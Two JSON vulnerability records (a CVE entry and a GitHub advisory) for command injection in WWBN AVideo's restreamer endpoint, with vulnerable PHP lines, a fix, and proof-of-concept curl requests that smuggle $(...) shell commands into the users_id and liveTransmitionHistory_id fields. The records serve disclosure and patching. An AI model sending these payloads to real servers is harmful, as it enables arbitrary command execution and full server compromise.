{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, el endpoint del restreamer construye una ruta de archivo de registro incrustando valores controlados por el usuario `users_id` y `liveTransmitionHistory_id` del cuerpo de la solicitud JSON sin ninguna sanitizaci\u00f3n. Esta ruta de archivo de registro se concatena luego directamente en comandos de shell pasados a `exec()`, permitiendo a un usuario autenticado lograr la ejecuci\u00f3n arbitraria de comandos en el servidor a trav\u00e9s de metacaracteres de shell como `$()` o comillas invertidas. El commit 99b865413172045fef6a98b5e9bfc7b24da11678 contiene un parche."
    }
  ],
  "id": "CVE-2026-33648",
  "lastModified": "2026-06-17T10:37:51.677",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-33648",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-25T14:25:45.099058Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-23T19:16:40.907",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/99b865413172045fef6a98b5e9bfc7b24da11678"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5m4q-5cvx-36mw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T17:47:21Z",
    "nvd_published_at": "2026-03-23T19:16:40Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks.\n\n## Details\n\nThe vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is:\n\n**1. User input ingestion** (line 220):\n```php\n$request = file_get_contents(\"php://input\");\n$robj = json_decode($request);\n```\n\n**2. Log file template** (line 58):\n```php\n$logFile = $logFileLocation . \"ffmpeg_restreamer_{users_id}_\" . date(\"Y-m-d-h-i-s\") . \".log\";\n```\n\n**3. `users_id` injected without sanitization** (line 318):\n```php\n$obj-\u003elogFile = str_replace(\u0027{users_id}\u0027, $robj-\u003eusers_id, $logFile);\n```\n\n**4. `liveTransmitionHistory_id` injected without sanitization** (line 407):\n```php\n$pid[] = startRestream($m3u8, [$value], str_replace(\".log\", \"_{$key}_{$robj-\u003eliveTransmitionHistory_id}_{$host}.log\", $logFile), $robj);\n```\n\nNote: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file.\n\n**5. Unsanitized log file path passed to `exec()`** (lines 720, 723):\n```php\n// Line 720 (remote ffmpeg path):\nexecFFMPEGAsyncOrRemote($command . \u0027 \u003e \u0027 . $logFile . \u0027 2\u003e\u00261 \u0027, $keyword, \u0027\u0027, $restreamStandAloneFFMPEG);\n\n// Line 723 (direct execution fallback):\nexec($command . \u0027 \u003e \u0027 . $logFile . \u0027 2\u003e\u00261 \u0026\u0027);\n```\n\nThe code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path \u2014 a classic oversight where one injection vector is hardened while an adjacent one is left open.\n\n## PoC\n\n**Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token.\n\n**Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.\n\n**Step 2:** Send a crafted restream request with shell metacharacters in `users_id`:\n\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"x$(id \u003e /tmp/pwned)x\",\n    \"liveTransmitionHistory_id\": \"1\"\n  }\u0027\n```\n\n**Step 3:** The resulting exec call becomes:\n```\nffmpeg ... \u003e /var/www/tmp/ffmpeg_restreamer_x$(id \u003e /tmp/pwned)x_2026-03-20-... .log 2\u003e\u00261 \u0026\n```\n\nThe `$()` subshell executes `id \u003e /tmp/pwned` before the redirection is processed.\n\n**Step 4:** Verify command execution:\n```bash\ncurl -k \"https://TARGET/tmp/pwned\"\n# Expected: output of `id` command showing the web server user\n```\n\nThe same vector works through `liveTransmitionHistory_id`:\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"1\",\n    \"liveTransmitionHistory_id\": \"1$(whoami \u003e /tmp/pwned2)1\"\n  }\u0027\n```\n\n## Impact\n\nAn authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:\n\n- **Full server compromise**: Reading sensitive files (`/etc/passwd`, database credentials, `.env` files)\n- **Data exfiltration**: Accessing the AVideo database and all user data\n- **Lateral movement**: Using the compromised server as a pivot point\n- **Service disruption**: Killing processes, modifying or deleting files\n- **Persistent backdoor**: Installing web shells or cron jobs for ongoing access\n\nThe authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.\n\n## Recommended Fix\n\nSanitize both `users_id` and `liveTransmitionHistory_id` immediately after input, and use `escapeshellarg()` on the log file path before shell execution.\n\n**In `restreamer.json.php`, after line 220 (input decoding), add input sanitization:**\n\n```php\n$robj = json_decode($request);\n// Sanitize fields that will be used in file paths and shell commands\nif (isset($robj-\u003eusers_id)) {\n    $robj-\u003eusers_id = preg_replace(\u0027/[^a-zA-Z0-9_-]/\u0027, \u0027\u0027, $robj-\u003eusers_id);\n}\nif (isset($robj-\u003eliveTransmitionHistory_id)) {\n    $robj-\u003eliveTransmitionHistory_id = intval($robj-\u003eliveTransmitionHistory_id);\n}\n```\n\n**At lines 720 and 723, use `escapeshellarg()` on the log file path:**\n\n```php\n// Line 720:\nexecFFMPEGAsyncOrRemote($command . \u0027 \u003e \u0027 . escapeshellarg($logFile) . \u0027 2\u003e\u00261 \u0027, $keyword, \u0027\u0027, $restreamStandAloneFFMPEG);\n\n// Line 723:\nexec($command . \u0027 \u003e \u0027 . escapeshellarg($logFile) . \u0027 2\u003e\u00261 \u0026\u0027);\n```\n\nBoth fixes should be applied \u2014 input sanitization as defense-in-depth, and `escapeshellarg()` as the direct mitigation at the point of shell execution.",
  "id": "GHSA-5m4q-5cvx-36mw",
  "modified": "2026-03-25T17:47:21Z",
  "published": "2026-03-25T17:47:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5m4q-5cvx-36mw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33648"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/99b865413172045fef6a98b5e9bfc7b24da11678"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path"
}